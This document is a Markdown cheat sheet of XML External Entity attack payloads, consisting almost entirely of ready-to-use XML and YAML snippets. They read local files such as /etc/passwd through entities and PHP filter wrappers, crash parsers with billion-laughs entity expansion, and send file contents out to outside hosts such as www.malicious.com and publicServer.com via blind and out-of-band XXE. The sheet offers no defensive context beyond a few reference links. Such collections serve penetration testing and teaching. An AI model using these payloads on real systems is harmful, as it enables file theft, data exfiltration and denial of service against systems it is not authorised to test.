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150 lines
3.5 KiB
Markdown
150 lines
3.5 KiB
Markdown
# XML External Entity
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An XML External Entity attack is a type of attack against an application that parses XML input
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## Exploit
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Basic Test
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```
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<!--?xml version="1.0" ?-->
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<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
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<userInfo>
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<firstName>John</firstName>
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<lastName>&example;</lastName>
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</userInfo>
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```
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## Basic XXE
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Classic XXE
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```
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<?xml version="1.0"?>
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<!DOCTYPE data [
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<!ELEMENT data (#ANY)>
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<!ENTITY file SYSTEM "file:///etc/passwd">
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]>
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<data>&file;</data>
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```
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```
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<!DOCTYPE foo [
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<!ELEMENT foo ANY >
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<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
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```
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```
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<!DOCTYPE foo [
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<!ELEMENT foo ANY >
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<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
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```
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Classic XXE Base64 encoded
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```
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<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
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```
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## PHP Wrapper inside XXE
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```
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<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
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<contacts>
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<contact>
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<name>Jean &xxe; Dupont</name>
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<phone>00 11 22 33 44</phone>
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<adress>42 rue du CTF</adress>
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<zipcode>75000</zipcode>
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<city>Paris</city>
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</contact>
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</contacts>
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```
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```
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<!DOCTYPE foo [
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<!ELEMENT foo ANY >
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<!ENTITY % xxe SYSTEM "php://filter/convert.bae64-encode/resource=http://10.0.0.3" >
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]>
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<foo>&xxe;</foo>
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```
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## Deny of service
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Deny Of Service - Billion Laugh Attack
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```
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<!DOCTYPE data [
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<!ENTITY a0 "dos" >
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<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
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<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
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<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
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<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
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]>
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<data>&a4;</data>
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```
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Yaml attack
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```
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a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
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b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
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c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
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d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
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e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
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f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
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g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
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h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
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i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
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```
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## Blind XXE
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Blind XXE
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```
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<!DOCTYPE foo [
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<!ELEMENT foo ANY >
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<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
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<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
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]
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>
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<foo>&callhome;</foo>
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```
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XXE OOB Attack (Yunusov, 2013)
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```
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<?xml version="1.0" encoding="utf-8"?>
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<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
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<data>&send;</data>
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File stored on http://publicServer.com/parameterEntity_oob.dtd
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<!ENTITY % file SYSTEM "file:///sys/power/image_size">
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<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
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%all;
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```
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XXE OOB with DTD and PHP filter
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```
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<?xml version="1.0" ?>
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<!DOCTYPE r [
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<!ELEMENT r ANY >
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<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
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%sp;
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%param1;
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]>
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<r>&exfil;</r>
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File stored on http://127.0.0.1/dtd.xml
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<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
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<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">
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```
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XXE Inside SOAP
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```
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<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
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```
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## Thanks to
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* https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
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* http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html
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* https://gist.github.com/staaldraad/01415b990939494879b4
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* https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870
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